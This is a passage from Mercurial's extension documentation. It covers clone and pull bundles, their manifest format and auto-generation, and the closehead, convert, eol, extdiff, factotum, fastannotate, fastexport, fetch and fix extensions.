  5. The client filters and sorts the available bundles based on what it supports and prefers.

  6. The client downloads and applies an available bundle from the server-specified URL.

  7. The client reconnects to the original server and performs the equivalent of hg pull to retrieve all repository data not in the bundle. (The repository could have been updated between when the bundle was created and when the client started the clone.) This may use “pullbundles”.

Instead of the server generating full repository bundles for every clone request, it generates full bundles once and they are subsequently reused to bootstrap new clones. The server may still transfer data at clone time. However, this is only data that has been added/changed since the bundle was created. For large, established repositories, this can reduce server load for clones to less than 1% of original.

Here’s how pullbundles work:

  1. A manifest file listing available bundles and describing the revisions is added to the Mercurial repository on the server.

  2. A new-enough client informs the server that it supports partial pulls and initiates a pull.

  3. If the server has pull bundles enabled and sees the client advertising partial pulls, it checks for a matching pull bundle in the manifest. A bundle matches if the format is supported by the client, the client has the required revisions already and needs something from the bundle.

  4. If there is at least one matching bundle, the server sends it to the client.

  5. The client applies the bundle and notices that the server reply was incomplete. It initiates another pull.

To work, this extension requires the following of server operators:

  • Generating bundle files of repository content (typically periodically, such as once per day).

  • Clone bundles: A file server that clients have network access to and that Python knows how to talk to through its normal URL handling facility (typically an HTTP/HTTPS server).

  • A process for keeping the bundles manifest in sync with available bundle files.

Strictly speaking, using a static file hosting server isn’t required: a server operator could use a dynamic service for retrieving bundle data. However, static file hosting services are simple and scalable and should be sufficient for most needs.

Bundle files can be generated with the hg bundle command. Typically hg bundle –all is used to produce a bundle of the entire repository.

The bundlespec option stream (see hg help bundlespec) can be used to produce a special streaming clonebundle, typically using hg bundle –all –type=“none-streamv2”. These are bundle files that are extremely efficient to produce and consume (read: fast). However, they are larger than traditional bundle formats and require that clients support the exact set of repository data store formats in use by the repository that created them. Typically, a newer server can serve data that is compatible with older clients. However, streaming clone bundles don’t have this guarantee. Server operators need to be aware that newer versions of Mercurial may produce streaming clone bundles incompatible with older Mercurial versions.

A server operator is responsible for creating a .hg/clonebundles.manifest file containing the list of available bundle files suitable for seeding clones. If this file does not exist, the repository will not advertise the existence of clone bundles when clients connect. For pull bundles, .hg/pullbundles.manifest is used.

The manifest file contains a newline (n) delimited list of entries.

Each line in this file defines an available bundle. Lines have the format:

<URL> [<key>=<value>[ <key>=<value>]]

That is, a URL followed by an optional, space-delimited list of key=value pairs describing additional properties of this bundle. Both keys and values are URI encoded.

For pull bundles, the URL is a path under the .hg directory of the repository.

Keys in UPPERCASE are reserved for use by Mercurial and are defined below. All non-uppercase keys can be used by site installations. An example use for custom properties is to use the datacenter attribute to define which data center a file is hosted in. Clients could then prefer a server in the data center closest to them.

The following reserved keys are currently defined:

BUNDLESPEC
A “bundle specification” string that describes the type of the bundle.

These are string values that are accepted by the “–type” argument of hg bundle.

The values are parsed in strict mode, which means they must be of the “<compression>-<type>” form. See mercurial.exchange.parsebundlespec() for more details.

hg debugbundle –spec can be used to print the bundle specification string for a bundle file. The output of this command can be used verbatim for the value of BUNDLESPEC (it is already escaped).

Clients will automatically filter out specifications that are unknown or unsupported so they won’t attempt to download something that likely won’t apply.

The actual value doesn’t impact client behavior beyond filtering: clients will still sniff the bundle type from the header of downloaded files.

Use of this key is highly recommended, as it allows clients to easily skip unsupported bundles. If this key is not defined, an old client may attempt to apply a bundle that it is incapable of reading.

REQUIRESNI
Whether Server Name Indication (SNI) is required to connect to the URL. SNI allows servers to use multiple certificates on the same IP. It is somewhat common in CDNs and other hosting providers. Older Python versions do not support SNI. Defining this attribute enables clients with older Python versions to filter this entry without experiencing an opaque SSL failure at connection time.

If this is defined, it is important to advertise a non-SNI fallback URL or clients running old Python releases may not be able to clone with the clonebundles facility.

Value should be “true”.

REQUIREDRAM
Value specifies expected memory requirements to decode the payload. Values can have suffixes for common bytes sizes. e.g. “64MB”.

This key is often used with zstd-compressed bundles using a high compression level / window size, which can require 100+ MB of memory to decode.

heads
Used for pull bundles. This contains the ; separated changeset hashes of the heads of the bundle content.

bases
Used for pull bundles. This contains the ; separated changeset hashes of the roots of the bundle content. This can be skipped if the bundle was created without –base.

Manifests can contain multiple entries. Assuming metadata is defined, clients will filter entries from the manifest that they don’t support. The remaining entries are optionally sorted by client preferences (ui.clonebundleprefers config option). The client then attempts to fetch the bundle at the first URL in the remaining list.

Errors when downloading a bundle will fail the entire clone operation: clients do not automatically fall back to a traditional clone. The reason for this is that if a server is using clone bundles, it is probably doing so because the feature is necessary to help it scale. In other words, there is an assumption that clone load will be offloaded to another service and that the Mercurial server isn’t responsible for serving this clone load. If that other service experiences issues and clients start mass falling back to the original Mercurial server, the added clone load could overwhelm the server due to unexpected load and effectively take it offline. Not having clients automatically fall back to cloning from the original server mitigates this scenario.

Because there is no automatic Mercurial server fallback on failure of the bundle hosting service, it is important for server operators to view the bundle hosting service as an extension of the Mercurial server in terms of availability and service level agreements: if the bundle hosting service goes down, so does the ability for clients to clone. Note: clients will see a message informing them how to bypass the clone bundles facility when a failure occurs. So server operators should prepare for some people to follow these instructions when a failure occurs, thus driving more load to the original Mercurial server when the bundle hosting service fails.

inline clonebundles

It is possible to transmit clonebundles inline in case repositories are accessed over SSH. This avoids having to setup an external HTTPS server and results in the same access control as already present for the SSH setup.

Inline clonebundles should be placed into the .hg/bundle-cache directory. A clonebundle at .hg/bundle-cache/mybundle.bundle is referred to in the clonebundles.manifest file as peer-bundle-cache://mybundle.bundle.

auto-generation of clone bundles

It is possible to set Mercurial to automatically re-generate clone bundles when enough new content is available.

Mercurial will take care of the process asynchronously. The defined list of bundle-type will be generated, uploaded, and advertised. Older bundles will get decommissioned as newer ones replace them.

Bundles Generation:

The extension can generate multiple variants of the clone bundle. Each different variant will be defined by the “bundle-spec” they use:

[clone-bundles]
auto-generate.formats= zstd-v2, gzip-v2

See hg help bundlespec for details about available options.

By default, new bundles are generated when 5% of the repository contents or at least 1000 revisions are not contained in the cached bundles. This option can be controlled by the clone-bundles.trigger.below-bundled-ratio option (default 0.95) and the clone-bundles.trigger.revs option (default 1000):

[clone-bundles]
trigger.below-bundled-ratio=0.95
trigger.revs=1000

This logic can be manually triggered using the admin::clone-bundles-refresh command, or automatically on each repository change if clone-bundles.auto-generate.on-change is set to yes:

[clone-bundles]
auto-generate.on-change=yes
auto-generate.formats= zstd-v2, gzip-v2

Automatic Inline serving

The simplest way to serve the generated bundle is through the Mercurial protocol. However it is not the most efficient as request will still be served by that main server. It is useful in case where authentication is complexe or when an efficient mirror system is already in use anyway. See the inline clonebundles section above for details about inline clonebundles

To automatically serve generated bundle through inline clonebundle, simply set the following option:

auto-generate.serve-inline=yes

Enabling this option disable the managed upload and serving explained below.

Bundles Upload and Serving:

This is the most efficient way to serve automatically generated clone bundles, but requires some setup.

The generated bundles need to be made available to users through a “public” URL. This should be donne through clone-bundles.upload-command configuration. The value of this command should be a shell command. It will have access to the bundle file path through the $HGCB_BUNDLE_PATH variable. And the expected basename in the “public” URL is accessible at:

[clone-bundles]
upload-command=sftp put $HGCB_BUNDLE_PATH       sftp://bundles.host/clone-bundles/$HGCB_BUNDLE_BASENAME

If the file was already uploaded, the command must still succeed.

After upload, the file should be available at an url defined by clone-bundles.url-template.

[clone-bundles] url-template=https://bundles.host/cache/clone-bundles/{basename}

Old bundles cleanup:

When new bundles are generated, the older ones are no longer necessary and can be removed from storage. This is done through the clone-bundles.delete-command configuration. The command is given the url of the artifact to delete through the $HGCB_BUNDLE_URL environment variable.

[clone-bundles] delete-command=sftp rm sftp://bundles.host/clone-bundles/$HGCB_BUNDLE_BASENAME

If the file was already deleted, the command must still succeed.

Commands

Uncategorized commands

admin::clone-bundles-clear

remove existing clone bundle caches:

hg admin::clone-bundles-clear

See hg help admin::clone-bundles-refresh for details on how to regenerate them.

This command will only affect bundles currently available, it will not affect bundles being asynchronously generated.

admin::clone-bundles-refresh

generate clone bundles according to the configuration:

hg admin::clone-bundles-refresh

This runs the logic for automatic generation, removing outdated bundles and generating new ones if necessary. See hg help -e clone-bundles for details about how to configure this feature.

Options:

–background
start bundle generation in the background

closehead

close arbitrary heads without checking them out first

Commands

Change manipulation

close-head

close the given head revisions:

hg close-head [OPTION]... [REV]...

This is equivalent to checking out each revision in a clean tree and running hg commit –close-branch, except that it doesn’t change the working directory.

The commit message must be specified with -l or -m.

Options:

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

-r,–rev** <REV[+]>**
revision to check

[+] marked option can be specified multiple times

aliases: close-heads

commitextras

adds a new flag extras to commit (ADVANCED)

convert

import revisions from foreign VCS repositories into Mercurial

Commands

Uncategorized commands

convert

convert a foreign SCM repository to a Mercurial one.:

hg convert [OPTION]... SOURCE [DEST [REVMAP]]

Accepted source formats [identifiers]:

  • Mercurial [hg]

  • CVS [cvs]

  • Darcs [darcs]

  • git [git]

  • Subversion [svn]

  • Monotone [mtn]

  • GNU Arch [gnuarch]

  • Bazaar [bzr]

  • Perforce [p4]

Accepted destination formats [identifiers]:

  • Mercurial [hg]

  • Subversion [svn] (history on branches is not preserved)

If no revision is given, all revisions will be converted. Otherwise, convert will only import up to the named revision (given in a format understood by the source).

If no destination directory name is specified, it defaults to the basename of the source with -hg appended. If the destination repository doesn’t exist, it will be created.

By default, all sources except Mercurial will use –branchsort. Mercurial uses –sourcesort to preserve original revision numbers order. Sort modes have the following effects:

–branchsort
convert from parent to child revision when possible, which means branches are usually converted one after the other. It generates more compact repositories.

–datesort
sort revisions by date. Converted repositories have good-looking changelogs but are often an order of magnitude larger than the same ones generated by –branchsort.

–sourcesort
try to preserve source revisions order, only supported by Mercurial sources.

–closesort
try to move closed revisions as close as possible to parent branches, only supported by Mercurial sources.

If REVMAP isn’t given, it will be put in a default location (<dest>/.hg/shamap by default). The REVMAP is a simple text file that maps each source commit ID to the destination ID for that revision, like so:

<source ID> <destination ID>

If the file doesn’t exist, it’s automatically created. It’s updated on each commit copied, so hg convert can be interrupted and can be run repeatedly to copy new commits.

The authormap is a simple text file that maps each source commit author to a destination commit author. It is handy for source SCMs that use unix logins to identify authors (e.g.: CVS). One line per author mapping and the line format is:

source author = destination author

Empty lines and lines starting with a # are ignored.

The filemap is a file that allows filtering and remapping of files and directories. Each line can contain one of the following directives:

include path/to/file-or-dir

exclude path/to/file-or-dir

rename path/to/source path/to/destination

Comment lines start with #. A specified path matches if it equals the full relative name of a file or one of its parent directories. The include or exclude directive with the longest matching path applies, so line order does not matter.

The include directive causes a file, or all files under a directory, to be included in the destination repository. The default if there are no include statements is to include everything. If there are any include statements, nothing else is included. The exclude directive causes files or directories to be omitted. The rename directive renames a file or directory if it is converted. To rename from a subdirectory into the root of the repository, use . as the path to rename to.

–full will make sure the converted changesets contain exactly the right files with the right content. It will make a full conversion of all files, not just the ones that have changed. Files that already are correct will not be changed. This can be used to apply filemap changes when converting incrementally. This is currently only supported for Mercurial and Subversion.

The splicemap is a file that allows insertion of synthetic history, letting you specify the parents of a revision. This is useful if you want to e.g. give a Subversion merge two parents, or graft two disconnected series of history together. Each entry contains a key, followed by a space, followed by one or two comma-separated values:

key parent1, parent2

The key is the revision ID in the source revision control system whose parents should be modified (same format as a key in .hg/shamap). The values are the revision IDs (in either the source or destination revision control system) that should be used as the new parents for that node. For example, if you have merged “release-1.0” into “trunk”, then you should specify the revision on “trunk” as the first parent and the one on the “release-1.0” branch as the second.

The branchmap is a file that allows you to rename a branch when it is being brought in from whatever external repository. When used in conjunction with a splicemap, it allows for a powerful combination to help fix even the most badly mismanaged repositories and turn them into nicely structured Mercurial repositories. The branchmap contains lines of the form:

original_branch_name new_branch_name

where “original_branch_name” is the name of the branch in the source repository, and “new_branch_name” is the name of the branch is the destination repository. No whitespace is allowed in the new branch name. This can be used to (for instance) move code in one repository from “default” to a named branch.

Mercurial Source

The Mercurial source recognizes the following configuration options, which you can set on the command line with –config:

convert.hg.ignoreerrors
ignore integrity errors when reading. Use it to fix Mercurial repositories with missing revlogs, by converting from and to Mercurial. Default is False.

convert.hg.saverev
store original revision ID in changeset (forces target IDs to change). It takes a boolean argument and defaults to False.

convert.hg.startrev
specify the initial Mercurial revision. The default is 0.

convert.hg.revs
revset specifying the source revisions to convert.

Bazaar Source

The following options can be used with –config:

convert.bzr.saverev
whether to store the original Bazaar commit ID in the metadata of the destination commit. The default is True.

CVS Source

CVS source will use a sandbox (i.e. a checked-out copy) from CVS to indicate the starting point of what will be converted. Direct access to the repository files is not needed, unless of course the repository is :local:. The conversion uses the top level directory in the sandbox to find the CVS repository, and then uses CVS rlog commands to find files to convert. This means that unless a filemap is given, all files under the starting directory will be converted, and that any directory reorganization in the CVS sandbox is ignored.

The following options can be used with –config:

convert.cvsps.cache
Set to False to disable remote log caching, for testing and debugging purposes. Default is True.

convert.cvsps.fuzz
Specify the maximum time (in seconds) that is allowed between commits with identical user and log message in a single changeset. When very large files were checked in as part of a changeset then the default may not be long enough. The default is 60.

convert.cvsps.logencoding
Specify encoding name to be used for transcoding CVS log messages. Multiple encoding names can be specified as a list (see hg help config.Syntax), but only the first acceptable encoding in the list is used per CVS log entries. This transcoding is executed before cvslog hook below.

convert.cvsps.mergeto
Specify a regular expression to which commit log messages are matched. If a match occurs, then the conversion process will insert a dummy revision merging the branch on which this log message occurs to the branch indicated in the regex. Default is {{mergetobranch ([-\w]+)}}

convert.cvsps.mergefrom
Specify a regular expression to which commit log messages are matched. If a match occurs, then the conversion process will add the most recent revision on the branch indicated in the regex as the second parent of the changeset. Default is {{mergefrombranch ([-\w]+)}}

convert.localtimezone
use local time (as determined by the TZ environment variable) for changeset date/times. The default is False (use UTC).

hooks.cvslog
Specify a Python function to be called at the end of gathering the CVS log. The function is passed a list with the log entries, and can modify the entries in-place, or add or delete them.

hooks.cvschangesets
Specify a Python function to be called after the changesets are calculated from the CVS log. The function is passed a list with the changeset entries, and can modify the changesets in-place, or add or delete them.

An additional “debugcvsps” Mercurial command allows the builtin changeset merging code to be run without doing a conversion. Its parameters and output are similar to that of cvsps 2.1. Please see the command help for more details.

Subversion Source

Subversion source detects classical trunk/branches/tags layouts. By default, the supplied svn://repo/path/ source URL is converted as a single branch. If svn://repo/path/trunk exists it replaces the default branch. If svn://repo/path/branches exists, its subdirectories are listed as possible branches. If svn://repo/path/tags exists, it is looked for tags referencing converted branches. Default trunk, branches and tags values can be overridden with following options. Set them to paths relative to the source URL, or leave them blank to disable auto detection.

The following options can be set with –config:

convert.svn.branches
specify the directory containing branches. The default is branches.

convert.svn.tags
specify the directory containing tags. The default is tags.

convert.svn.trunk
specify the name of the trunk branch. The default is trunk.

convert.localtimezone
use local time (as determined by the TZ environment variable) for changeset date/times. The default is False (use UTC).

Source history can be retrieved starting at a specific revision, instead of being integrally converted. Only single branch conversions are supported.

convert.svn.startrev
specify start Subversion revision number. The default is 0.

Git Source

The Git importer converts commits from all reachable branches (refs in refs/heads) and remotes (refs in refs/remotes) to Mercurial. Branches are converted to bookmarks with the same name, with the leading ‘refs/heads’ stripped. Git submodules are converted to Git subrepos in Mercurial.

The following options can be set with –config:

convert.git.similarity
specify how similar files modified in a commit must be to be imported as renames or copies, as a percentage between 0 (disabled) and 100 (files must be identical). For example, 90 means that a delete/add pair will be imported as a rename if more than 90% of the file hasn’t changed. The default is 50.

convert.git.findcopiesharder
while detecting copies, look at all files in the working copy instead of just changed ones. This is very expensive for large projects, and is only effective when convert.git.similarity is greater than 0. The default is False.

convert.git.renamelimit
perform rename and copy detection up to this many changed files in a commit. Increasing this will make rename and copy detection more accurate but will significantly slow down computation on large projects. The option is only relevant if convert.git.similarity is greater than 0. The default is 400.

convert.git.committeractions
list of actions to take when processing author and committer values.

Git commits have separate author (who wrote the commit) and committer (who applied the commit) fields. Not all destinations support separate author and committer fields (including Mercurial). This config option controls what to do with these author and committer fields during conversion.

A value of messagedifferent will append a committer: … line to the commit message if the Git committer is different from the author. The prefix of that line can be specified using the syntax messagedifferent=<prefix>. e.g. messagedifferent=git-committer:. When a prefix is specified, a space will always be inserted between the prefix and the value.

messagealways behaves like messagedifferent except it will always result in a committer: … line being appended to the commit message. This value is mutually exclusive with messagedifferent.

dropcommitter will remove references to the committer. Only references to the author will remain. Actions that add references to the committer will have no effect when this is set.

replaceauthor will replace the value of the author field with the committer. Other actions that add references to the committer will still take effect when this is set.

The default is messagedifferent.

convert.git.extrakeys
list of extra keys from commit metadata to copy to the destination. Some Git repositories store extra metadata in commits. By default, this non-default metadata will be lost during conversion. Setting this config option can retain that metadata. Some built-in keys such as parent and branch are not allowed to be copied.

convert.git.remoteprefix
remote refs are converted as bookmarks with convert.git.remoteprefix as a prefix followed by a /. The default is ‘remote’.

convert.git.saverev
whether to store the original Git commit ID in the metadata of the destination commit. The default is True.

convert.git.skipsubmodules
does not convert root level .gitmodules files or files with 160000 mode indicating a submodule. Default is False.

Perforce Source

The Perforce (P4) importer can be given a p4 depot path or a client specification as source. It will convert all files in the source to a flat Mercurial repository, ignoring labels, branches and integrations. Note that when a depot path is given you then usually should specify a target directory, because otherwise the target may be named …-hg.

The following options can be set with –config:

convert.p4.encoding
specify the encoding to use when decoding standard output of the Perforce command line tool. The default is default system encoding.

convert.p4.startrev
specify initial Perforce revision (a Perforce changelist number).

Mercurial Destination

The Mercurial destination will recognize Mercurial subrepositories in the destination directory, and update the .hgsubstate file automatically if the destination subrepositories contain the <dest>/<sub>/.hg/shamap file. Converting a repository with subrepositories requires converting a single repository at a time, from the bottom up.

An example showing how to convert a repository with subrepositories:

# so convert knows the type when it sees a non empty destination
$ hg init converted

$ hg convert orig/sub1 converted/sub1
$ hg convert orig/sub2 converted/sub2
$ hg convert orig converted

The following options are supported:

convert.hg.clonebranches
dispatch source branches in separate clones. The default is False.

convert.hg.tagsbranch
branch name for tag revisions, defaults to default.

convert.hg.usebranchnames
preserve branch names. The default is True.

convert.hg.sourcename
records the given string as a ‘convert_source’ extra value on each commit made in the target repository. The default is None.

convert.hg.preserve-hash
only works with mercurial sources. Make convert prevent performance improvement to the list of modified files in commits when such an improvement would cause the hash of a commit to change. The default is False.

All Destinations

All destination types accept the following options:

convert.skiptags
does not convert tags from the source repo to the target repo. The default is False.

Subversion Destination

Original commit dates are not preserved by default.

convert.svn.dangerous-set-commit-dates
preserve original commit dates, forcefully setting svn:date revision properties. This option is DANGEROUS and may break some subversion functionality for the resulting repository (e.g. filtering revisions with date ranges in svn log), as original commit dates are not guaranteed to be monotonically increasing.

For commit dates setting to work destination repository must have pre-revprop-change hook configured to allow setting of svn:date revision properties. See Subversion documentation for more details.

Options:

–authors* <FILE>*
username mapping filename (DEPRECATED) (use –authormap instead)

-s,–source-type** <TYPE>**
source repository type

-d,–dest-type** <TYPE>**
destination repository type

-r,–rev** <REV[+]>**
import up to source revision REV

-A,–authormap** <FILE>**
remap usernames using this file

–filemap* <FILE>*
remap file names using contents of file

–full
apply filemap changes by converting all files again

–splicemap* <FILE>*
splice synthesized history into place

–branchmap* <FILE>*
change branch names while converting

–branchsort
try to sort changesets by branches

–datesort
try to sort changesets by date

–sourcesort
preserve source changesets order

–closesort
try to reorder closed revisions

[+] marked option can be specified multiple times

eol

automatically manage newlines in repository files

This extension allows you to manage the type of line endings (CRLF or LF) that are used in the repository and in the local working directory. That way you can get CRLF line endings on Windows and LF on Unix/Mac, thereby letting everybody use their OS native line endings.

The extension reads its configuration from a versioned .hgeol configuration file found in the root of the working directory. The .hgeol file use the same syntax as all other Mercurial configuration files. It uses two sections, [patterns] and [repository].

The [patterns] section specifies how line endings should be converted between the working directory and the repository. The format is specified by a file pattern. The first match is used, so put more specific patterns first. The available line endings are LF, CRLF, and BIN.

Files with the declared format of CRLF or LF are always checked out and stored in the repository in that format and files declared to be binary (BIN) are left unchanged. Additionally, native is an alias for checking out in the platform’s default line ending: LF on Unix (including Mac OS X) and CRLF on Windows. Note that BIN (do nothing to line endings) is Mercurial’s default behavior; it is only needed if you need to override a later, more general pattern.

The optional [repository] section specifies the line endings to use for files stored in the repository. It has a single setting, native, which determines the storage line endings for files declared as native in the [patterns] section. It can be set to LF or CRLF. The default is LF. For example, this means that on Windows, files configured as native (CRLF by default) will be converted to LF when stored in the repository. Files declared as LF, CRLF, or BIN in the [patterns] section are always stored as-is in the repository.

Example versioned .hgeol file:

[patterns]
**.py = native
**.vcproj = CRLF
**.txt = native
Makefile = LF
**.jpg = BIN

[repository]
native = LF

Note
The rules will first apply when files are touched in the working directory, e.g. by updating to null and back to tip to touch all files.

The extension uses an optional [eol] section read from both the normal Mercurial configuration files and the .hgeol file, with the latter overriding the former. You can use that section to control the overall behavior. There are three settings:

  • eol.native (default os.linesep) can be set to LF or CRLF to override the default interpretation of native for checkout. This can be used with hg archive on Unix, say, to generate an archive where files have line endings for Windows.

  • eol.only-consistent (default True) can be set to False to make the extension convert files with inconsistent EOLs. Inconsistent means that there is both CRLF and LF present in the file. Such files are normally not touched under the assumption that they have mixed EOLs on purpose.

  • eol.fix-trailing-newline (default False) can be set to True to ensure that converted files end with a EOL character (either ** ** or ** ** as per the configured patterns).

The extension provides cleverencode: and cleverdecode: filters like the deprecated win32text extension does. This means that you can disable win32text and enable eol and your filters will still work. You only need to these filters until you have prepared a .hgeol file.

The win32text.forbid* hooks provided by the win32text extension have been unified into a single hook named eol.checkheadshook. The hook will lookup the expected line endings from the .hgeol file, which means you must migrate to a .hgeol file first before using the hook. eol.checkheadshook only checks heads, intermediate invalid revisions will be pushed. To forbid them completely, use the eol.checkallhook hook. These hooks are best used as pretxnchangegroup hooks.

See hg help patterns for more information about the glob patterns used.

extdiff

command to allow external programs to compare revisions

The extdiff Mercurial extension allows you to use external programs to compare revisions, or revision with working directory. The external diff programs are called with a configurable set of options and two non-option arguments: paths to directories containing snapshots of files to compare.

If there is more than one file being compared and the “child” revision is the working directory, any modifications made in the external diff program will be copied back to the working directory from the temporary directory.

The extdiff extension also allows you to configure new diff commands, so you do not need to type hg extdiff -p kdiff3 always.

[extdiff]
# add new command that runs GNU diff(1) in 'context diff' mode
cdiff = gdiff -Nprc5
## or the old way:
#cmd.cdiff = gdiff
#opts.cdiff = -Nprc5

# add new command called meld, runs meld (no need to name twice).  If
# the meld executable is not available, the meld tool in [merge-tools]
# will be used, if available
meld =

# add new command called vimdiff, runs gvimdiff with DirDiff plugin
# (see http://www.vim.org/scripts/script.php?script_id=102) Non
# English user, be sure to put "let g:DirDiffDynamicDiffText = 1" in
# your .vimrc
vimdiff = gvim -f "+next" \
          "+execute 'DirDiff' fnameescape(argv(0)) fnameescape(argv(1))"

Tool arguments can include variables that are expanded at runtime:

$parent1, $plabel1 - filename, descriptive label of first parent
$child,   $clabel  - filename, descriptive label of child revision
$parent2, $plabel2 - filename, descriptive label of second parent
$root              - repository root
$parent is an alias for $parent1.

The extdiff extension will look in your [diff-tools] and [merge-tools] sections for diff tool arguments, when none are specified in [extdiff].

[extdiff]
kdiff3 =

[diff-tools]
kdiff3.diffargs=--L1 '$plabel1' --L2 '$clabel' $parent $child

If a program has a graphical interface, it might be interesting to tell Mercurial about it. It will prevent the program from being mistakenly used in a terminal-only environment (such as an SSH terminal session), and will make hg extdiff –per-file open multiple file diffs at once instead of one by one (if you still want to open file diffs one by one, you can use the –confirm option).

Declaring that a tool has a graphical interface can be done with the gui flag next to where diffargs are specified:

[diff-tools]
kdiff3.diffargs=--L1 '$plabel1' --L2 '$clabel' $parent $child
kdiff3.gui = true

You can use -I/-X and list of file or directory names like normal hg diff command. The extdiff extension makes snapshots of only needed files, so running the external diff program will actually be pretty fast (at least faster than having to compare the entire tree).

Commands

File content management

extdiff

use external program to diff repository (or selected files):

hg extdiff [OPT]... [FILE]...

Show differences between revisions for the specified files, using an external program. The default program used is diff, with default options “-Npru”.

To select a different program, use the -p/–program option. The program will be passed the names of two directories to compare, unless the –per-file option is specified (see below). To pass additional options to the program, use -o/–option. These will be passed before the names of the directories or files to compare.

The –from, –to, and –change options work the same way they do for hg diff.

The –per-file option runs the external program repeatedly on each file to diff, instead of once on two directories. By default, this happens one by one, where the next file diff is open in the external program only once the previous external program (for the previous file diff) has exited. If the external program has a graphical interface, it can open all the file diffs at once instead of one by one. See hg help -e extdiff for information about how to tell Mercurial that a given program has a graphical interface.

The –confirm option will prompt the user before each invocation of the external program. It is ignored if –per-file isn’t specified.

Options:

-p,–program** <CMD>**
comparison program to run

-o,–option** <OPT[+]>**
pass option to comparison program

-r,–rev** <REV[+]>**
revision (DEPRECATED)

–from* <REV1>*
revision to diff from

–to* <REV2>*
revision to diff to

-c,–change** <REV>**
change made by revision

–per-file
compare each file instead of revision snapshots

–confirm
prompt user before each external program invocation

–patch
compare patches for two revisions

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-S, –subrepos
recurse into subrepositories

[+] marked option can be specified multiple times

factotum

http authentication with factotum

This extension allows the factotum(4) facility on Plan 9 from Bell Labs platforms to provide authentication information for HTTP access. Configuration entries specified in the auth section as well as authentication information provided in the repository URL are fully supported. If no prefix is specified, a value of “*” will be assumed.

By default, keys are specified as:

proto=pass service=hg prefix=<prefix> user=<username> !password=<password>

If the factotum extension is unable to read the required key, one will be requested interactively.

A configuration section is available to customize runtime behavior. By default, these entries are:

[factotum]
executable = /bin/auth/factotum
mountpoint = /mnt/factotum
service = hg

The executable entry defines the full path to the factotum binary. The mountpoint entry defines the path to the factotum file service. Lastly, the service entry controls the service name used when reading keys.

fastannotate

yet another annotate implementation that might be faster (EXPERIMENTAL)

The fastannotate extension provides a ‘fastannotate’ command that makes use of the linelog data structure as a cache layer and is expected to be faster than the vanilla ‘annotate’ if the cache is present.

In most cases, fastannotate requires a setup that mainbranch is some pointer that always moves forward, to be most efficient.

Using fastannotate together with linkrevcache would speed up building the annotate cache greatly. Run “debugbuildlinkrevcache” before “debugbuildannotatecache”.

[fastannotate]
# specify the main branch head. the internal linelog will only contain
# the linear (ignoring p2) "mainbranch". since linelog cannot move
# backwards without a rebuild, this should be something that always moves
# forward, usually it is "master" or "@".
mainbranch = master

# fastannotate supports different modes to expose its feature.
# a list of combination:
# - fastannotate: expose the feature via the "fastannotate" command which
#   deals with everything in a most efficient way, and provides extra
#   features like --deleted etc.
# - fctx: replace fctx.annotate implementation. note:
#     a. it is less efficient than the "fastannotate" command
#     b. it will make it practically impossible to access the old (disk
#        side-effect free) annotate implementation
#     c. it implies "hgweb".
# - hgweb: replace hgweb's annotate implementation. conflict with "fctx".
# (default: fastannotate)
modes = fastannotate

# default format when no format flags are used (default: number)
defaultformat = changeset, user, date

# serve the annotate cache via wire protocol (default: False)
# tip: the .hg/fastannotate directory is portable - can be rsynced
server = True

# build annotate cache on demand for every client request (default: True)
# disabling it could make server response faster, useful when there is a
# cronjob building the cache.
serverbuildondemand = True

# update local annotate cache from remote on demand
client = False

# path to use when connecting to the remote server (default: default)
remotepath = default

# minimal length of the history of a file required to fetch linelog from
# the server. (default: 10)
clientfetchthreshold = 10

# for "fctx" mode, always follow renames regardless of command line option.
# this is a BC with the original command but will reduced the space needed
# for annotate cache, and is useful for client-server setup since the
# server will only provide annotate cache with default options (i.e. with
# follow). do not affect "fastannotate" mode. (default: True)
forcefollow = True

# for "fctx" mode, always treat file as text files, to skip the "isbinary"
# check. this is consistent with the "fastannotate" command and could help
# to avoid a file fetch if remotefilelog is used. (default: True)
forcetext = True

# use unfiltered repo for better performance.
unfilteredrepo = True

# sacrifice correctness in some corner cases for performance. it does not
# affect the correctness of the annotate cache being built. the option
# is experimental and may disappear in the future (default: False)
perfhack = True

Commands

Uncategorized commands

fastexport

export repositories as git fast-import stream

Commands

Change import/export

fastexport

export repository as git fast-import stream:

hg fastexport [OPTION]... [REV]...

This command lets you dump a repository as a human-readable text stream. It can be piped into corresponding import routines like “git fast-import”. Incremental dumps can be created by using marks files.

Options:

-r,–rev** <REV[+]>**
revisions to export

-i,–import-marks** <FILE>**
old marks file to read

-e,–export-marks** <FILE>**
new marks file to write

-A,–authormap** <FILE>**
remap usernames using this file

[+] marked option can be specified multiple times

fetch

pull, update and merge in one command (DEPRECATED)

Commands

Remote repository management

fetch

pull changes from a remote repository, merge new changes if needed.:

hg fetch [SOURCE]

This finds all changes from the repository at the specified path or URL and adds them to the local repository.

If the pulled changes add a new branch head, the head is automatically merged, and the result of the merge is committed. Otherwise, the working directory is updated to include the new changes.

When a merge is needed, the working directory is first updated to the newly pulled changes. Local changes are then merged into the pulled changes. To switch the merge order, use –switch-parent.

See hg help dates for a list of formats valid for -d/–date.

Returns 0 on success.

Options:

-r,–rev** <REV[+]>**
a specific revision you would like to pull

–edit
invoke editor on commit messages

–force-editor
edit commit message (DEPRECATED)

–switch-parent
switch parents when merging

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

[+] marked option can be specified multiple times

fix

rewrite file content in changesets or working copy (EXPERIMENTAL)

Provides a command that runs configured tools on the contents of modified files, writing back any fixes to the working copy or replacing changesets.

Fixer tools are run in the repository’s root directory. This allows them to read configuration files from the working copy, or even write to the working copy. The working copy is not updated to match the revision being fixed. In fact, several revisions may be fixed in parallel. Writes to the working copy are not amended into the revision being fixed; fixer tools MUST always read content to be fixed from stdin, and write fixed file content back to stdout.

Here is an example configuration that causes hg fix to apply automatic formatting fixes to modified lines in C++ code:

[fix]
clang-format:command=clang-format --assume-filename={rootpath}
clang-format:linerange=--lines={first}:{last}
clang-format:pattern=set:**.cpp or **.hpp

